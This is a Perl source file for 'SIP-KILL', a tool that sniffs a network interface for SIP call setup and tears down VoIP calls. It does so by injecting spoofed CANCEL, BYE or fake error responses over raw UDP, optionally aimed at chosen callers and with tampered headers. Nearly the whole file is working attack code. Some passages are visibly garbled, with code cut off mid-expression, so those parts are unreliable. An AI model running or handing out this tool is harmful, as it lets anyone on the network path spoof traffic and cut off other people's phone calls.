#!/usr/bin/perl # SIP-KILL # ============== # Sniff a interface for SIP-INVITE-requests and tear down upcoming calls # with different methods. # # Copyright (C) 2005 Thomas Skora # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # Changelog: # 0.1: first version # 0.2: (25.08.2005) # - BYE-attack supports now both directions # - some bugfixes&cleanups # - selective attacks now possible # 0.2a: # - small bug: request pattern was taken from from-pattern. # 0.3: # - added some options that remove from/to-tags and the call-id # - fixed bug in bye/from-attack # 0.3a: # - added real datalink detection # # TODO: # - All attacks kill INVITEs unreliable. If one packet generated by # this program gets lost, the user can proceed with the call. # - $invites hash leaks memory if responses are lost. # - Short SIP headernames are not supported. use Net::Pcap; use NetPacket::Ethernet; use NetPacket::IP; use NetPacket::UDP; use Net::RawIP; use Getopt::Std; use Digest::MD5 qw(md5_base64); $default_iface = "ppp0"; sub HELP_MESSAGE { print < Specify interface to listen for SIP-packets. -m Use one of the following methods to tear down the call: CANCEL: Send CANCEL-request to target-ip after provsional 1xx response. (default) BYE: Send BYE-request to target-ip after call is established. See -b and -d. RESPONSE: Send response xxx to source-ip. The code should be yxx with 4 <= y <= 6. Use -e to change description. -r Change response code from default (600) -t Change description of the response code from default. -d Direction of BYE request to = from caller to callee from = from callee to caller both = both directions (default) -h remove or manipulate header values, comma separated list of actions: {r,m}{f,t,c} r = remove, m = modify (random value) f = from tag, t = to tag, c = Call-Id The patterns are perl-flavoured regular expressions which are corresponding to the given headers. If one attribute should be ignored, use . (point) as pattern. EOH } sub send_rawudp { # send raw UDP packet with payload my ($fromip, $fromport, $toip, $toport, $payload) = @_; # print "RAW from $fromip:$fromport to $toip:$toport\n"; # print "---\n$payload"; my $rawpkt = new Net::RawIP({ ip => { saddr => $fromip, daddr => $toip }, udp => { source => $fromport, dest => $toport, data => $payload } }); $rawpkt->send; } # post-process SIP-packet according to -m parameter sub pp_headers { my $sip = shift; # remove headers if ($headers{c} eq 'r') { # Call-Id $sip =~ s/^Call-Id:.*[\r\n]*//mi; } if ($headers{f} eq 'r') { # from tag $sip =~ s/^(From:[^;]*).*;tag=[^;\r\n]+/$1/mi; } if ($headers{t} eq 'r') { # from tag $sip =~ s/^(To:[^;]*).*;tag=[^;\r\n]+/$1/mi; } # randomize headers if ($headers{c} eq 'm') { # Call-Id my $callid = md5_base64("$sip:callid"); $sip =~ s/^(Call-Id:).*(@.*)[\r\n]*/$1$callid$2/mi; } if ($headers{f} eq 'm') { # from tag my $tag = md5_base64("$sip:fromtag"); $sip =~ s/^(From:.*;tag=)[^;\r\n]+/$1$tag/mi; } if ($headers{t} eq 'm') { # from tag my $tag = md5_base64("$sip:totag"); $sip =~ s/^(To:.*;tag=)[^;\r\n]+/$1$tag/mi; } return $sip; } sub process_sip { my ($ud, $hdr, $pkt) = @_; # TODO: add more of them if ($ud == 113) { # Snip "Linux cooked capture"-stuff away $pkt =~ s/^.{16}//; } elsif ($ud == 1) { # Snip Ethernet-header away $pkt = NetPacket::Ethernet::strip($pkt); } my $ip_pkt = NetPacket::IP->decode($pkt); if ($ip_pkt->{proto} != 0x11) { return } # just capture UDP, in future maybe with pcap-filters, but for now... my $udp_pkt = NetPacket::UDP->decode($ip_pkt->{data}); if ($udp_pkt->{dest_port} != 5060 && $udp_pkt->{src_port} != 5060) { return } # just SIP-destport my $sip_pkt = $udp_pkt->{data}; # some preprocessing $sip_pkt =~ s/\r//g; @sip_pkt = split /\n/, $sip_pkt; if ($opt_v) { print "From $ip_pkt->{src_ip}:$udp_pkt->{src_port} to $ip_pkt->{dest_ip}:$udp_pkt->{dest_port}: $sip_pkt[0]\n"; } # some debugging stuff # for ($i = 0; $i < scalar @sip_pkt; $i++) { print "$i| $sip_pkt[$i]\n" } # foreach my $line (@sip_pkt) { print "$line\n"; } # print "$sip_pkt\n" # print $pkt; if ($sip_pkt[0] =~ /INVITE/) { # incoming INVITE-request: save it # selective attack if (!defined $opt_o && !(($sip_pkt =~ /^From:.*$frompat/mi) && ($sip_pkt =~ /^To:.*$topat/mi) && ($sip_pkt =~ /^INVITE.*$reqpat/mi))) { if ($opt_v) { print "not matching\n" } return } if (defined $opt_o && !(($sip_pkt =~ /^From:.*$frompat/mi) || ($sip_pkt =~ /^To:.*$topat/mi) || ($sip_pkt =~ /^INVITE.*$reqpat/mi))) { if ($opt_v) { print "not matching\n" } return } my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # extract call-id, which is used to identify call # print "$callid\n"; $invites{$callid} = { sip => $sip_pkt, saddr => $ip_pkt->{src_ip}, sport => $udp_pkt->{src_port}, daddr => $ip_pkt->{dest_ip}, dport => $udp_pkt->{dest_port} }; } if ($opt_m eq "cancel") { # the CANCEL-attack if ($sip_pkt[0] =~ /^SIP\/[0-9\.]+[ ]+1[0-9]{2}/) { # 1xx provisional response - now CANCEL can be sent my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # extract call-id, which is used to identify call if (defined $invites{$callid}) { # 1xx belongs to previous saved INVITE my $newsip; $sip_pkt = $invites{$callid}{sip}; # discard 1xx - don't need it any more $sip_pkt =~ s/INVITE/CANCEL/g; foreach $line (split /\n/, $sip_pkt) { if ($line =~ /^(?:CANCEL|Via|CSeq|To|From|Call-ID|User-Agent|Contact)/i) { # only a subset of headers for CANCEL $newsip .= "$line\r\n"; } } $newsip .= "Content-Length: 0\r\n\r\n"; # print "$newsip\n"; $newsip = pp_headers($newsip); my ($from) = ($sip_pkt =~ /^From:.*(?:sip|tel):([^\n\r>;]+)/mi); my ($to) = ($sip_pkt =~ /^To:.*(?:sip|tel):([^\n\r>;]+)/mi); print "Cancelling INVITE from $from to $to\n"; send_rawudp($invites{$callid}{saddr}, $invites{$callid}{sport}, $invites{$callid}{daddr}, $invites{$callid}{dport}, $newsip); undef $invites{$callid}; # memleak vs. reliable cancel, i decided for the second. timers could help in future. # TODO: nevertheless the hash causes a memory leak, if no 1xx-response follows the INVITE. } } } elsif ($opt_m eq "response") { # the response-attack if (!($sip_pkt[0] =~ /INVITE/)) { return } my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # extract call-id, which is used to identify call my $respcode = defined $opt_r ? $opt_r : "600"; my $resptext = defined $opt_t ? $opt_t : "Busy Everywhere"; my $newsip = "SIP/2.0 $respcode $resptext\r\n"; # construct response packet foreach $line (split /\n/, $sip_pkt) { if ($line =~ /^(Via|CSeq|To|From|Call-ID|User-Agent|Contact|Route|Record-Route)/i) { # only a subset of headers for response $newsip .= "$line\r\n"; } } $newsip .= "Content-Length: 0\r\n\r\n"; #print "$newsip\n"; $newsip = pp_headers($newsip); my ($from) = ($sip_pkt =~ /^From:.*(?:sip|tel):([^\n\r>;]+)/mi); my ($to) = ($sip_pkt =~ /^To:.*(?:sip|tel):([^\n\r>;]+)/mi); print "Response to INVITE from $from to $to\n"; send_rawudp($invites{$callid}{daddr}, $invites{$callid}{dport}, $invites{$callid}{saddr}, $invites{$callid}{sport}, $newsip); undef $invites{$callid}; # memleak vs. reliable cancel, i decided for the second. timers could help in future. # TODO: nevertheless the hash causes a memory leak, if no 1xx-response follows the INVITE. } elsif ($opt_m eq "bye") { # the BYE-attack my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # extract call-id, which is used to identify call if (!defined $invites{$callid}) { return } # no interesting packet # print "BYE-att: state $invites{$callid}{state}\n"; if ($invites{$callid}{state} == 0) { # INVITE and nothing further received if ($sip_pkt[0] =~ /^SIP\/[0-9\.]+[ ]+2[0-9]{2}/) { # ignore every response that never initiates session # print "BYE-att: 2xx received, entering state 1.\n"; $invites{$callid}{state} = 1; if ($opt_d eq 'from') { ($invites{$callid}{contact}) = ($sip_pkt =~ /^(Contact: .*)$/mi); # save complete Contact header for further usage. undef $invites{$callid}{vias}; # save Via headers while ($sip_pkt =~ /^(Via:.*)$/mig) { $invites{$callid}{vias} .= "$1\r\n"; } # print "--- Via's ---\n$invites{$callid}{vias}\n"; # Code if Route should be taken from 2xx responses Record-Route fields (buggy) # foreach my $line (split /\n/, $sip_pkt) { # if ($line =~ /^Record-Route: (.*)$/mi) { # collect route-hops # $invites{$callid}{route} .= "$1, "; # } # $invites{$callid}{route} =~ s/>, ;]+)/mi); my ($to) = ($bye_pkt =~ /^To:.*(?:sip|tel):([^\n\r>;]+)/mi); print "Response to INVITE from $from to $to\n"; send_rawudp($invites{$callid}{saddr}, $invites{$callid}{sport}, $invites{$callid}{daddr}, $invites{$callid}{dport}, $bye_pkt2); if (!($opt_d eq 'both')) { # if needed for other direction print "Cleaning up call $callid\n"; undef $invites{$callid}; # memleak vs. reliable cancel, i decided for the second. timers could help in future. # TODO: nevertheless the hash causes a memory leak, if no 1xx-response follows the INVITE. return; } } if ($opt_d eq 'from' || $opt_d eq 'both') { # BYE goes from callee to caller $sip_pkt =~ /^From:.*(<.*>)/mi; # extract From-URI of ACK for request line my $bye_pkt = "BYE $1 SIP/2.0\r\n"; # request line my ($from) = ($sip_pkt =~ /^From:(.*)$/mi); my ($to) = ($sip_pkt =~ /^To:(.*)$/mi); $bye_pkt .= "From:$to\r\nTo:$from\r\n"; # swap From and To headers $bye_pkt .= $invites{$callid}{vias}; # $bye_pkt .= "Route: $invites{$callid}{route}"; $sip_pkt =~ /^CSeq:[ ]*([0-9]+)/mi; # add incremented sequence number my $newseq = $1 + 1; $bye_pkt .= "CSeq: $newseq BYE\r\n"; $bye_pkt .= "$invites{$callid}{contact}\r\n"; foreach my $line (split /\n/, $sip_pkt) { if ($line =~ /^(?:Route|Call-ID|User-Agent)/i) { # only a subset of headers for BYE $bye_pkt .= "$line\r\n"; } } $bye_pkt .= "Content-Length: 0\r\n\r\n"; # TODO: No Via headers $bye_pkt = pp_headers($bye_pkt); my ($from) = ($bye_pkt =~ /^From:.*(?:sip|tel):([^\n\r>;]+)/mi); my ($to) = ($bye_pkt =~ /^To:.*(?:sip|tel):([^\n\r>;]+)/mi); # print "BYE:\n$bye_pkt"; print "Response to INVITE from $from to $to\n"; send_rawudp($invites{$callid}{daddr}, $invites{$callid}{dport}, $invites{$callid}{saddr}, $invites{$callid}{sport}, $bye_pkt); undef $invites{$callid}; # memleak vs. reliable cancel, i decided for the second. timers could help in future. # TODO: nevertheless the hash causes a memory leak, if no 1xx-response follows the INVITE. } } } if ($sip_pkt[0] =~ /^SIP\/[0-9\.]+[ ]+[3-9][0-9]{2}/) { # 3xx-6xx causes new INVITE my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # extract call-id, which is used to identify call print "Cleaning up call $callid\n"; undef $invite{$callid}; # delete entry from INVITE list } } $Getopt::Std::STANDARD_HELP_VERSION = 1; getopts('oi:m:t:r:vd:h:'); if ($opt_i) { $iface = $opt_i; } else { $iface = $default_iface; } if (defined $opt_m) { $opt_m = lc $opt_m; # lowercase if (!($opt_m =~ /^(?:cancel|response|bye)$/)) { print "Unknown attack method, aborting!\n"; exit 1; } } else { $opt_m = "cancel"; # default } if ($opt_m eq 'bye') { if (defined $opt_d) { $opt_d = lc $opt_d; } else { $opt_d = 'both'; } if (!($opt_d =~ /^(?:from|to|both)/)) { print "from/to/both are the only possible directions for the BYE-attack!"; exit 1; } } if (defined $opt_h) { my @hparse = split /,/,$opt_h; foreach my $token (@hparse) { $token =~ /([rm])([ftc])/; $headers{$2} = $1; } } $frompat = $ARGV[0] || ""; $topat = $ARGV[1] || ""; $reqpat = $ARGV[2] || ""; defined($cap = Net::Pcap::open_live($iface, 65535, 1, 0, \$err)) || die "Can't open capture interface: $err"; Net::Pcap::loop($cap, 0, \&process_sip, Net::Pcap::datalink($cap)); Net::Pcap::close($cap);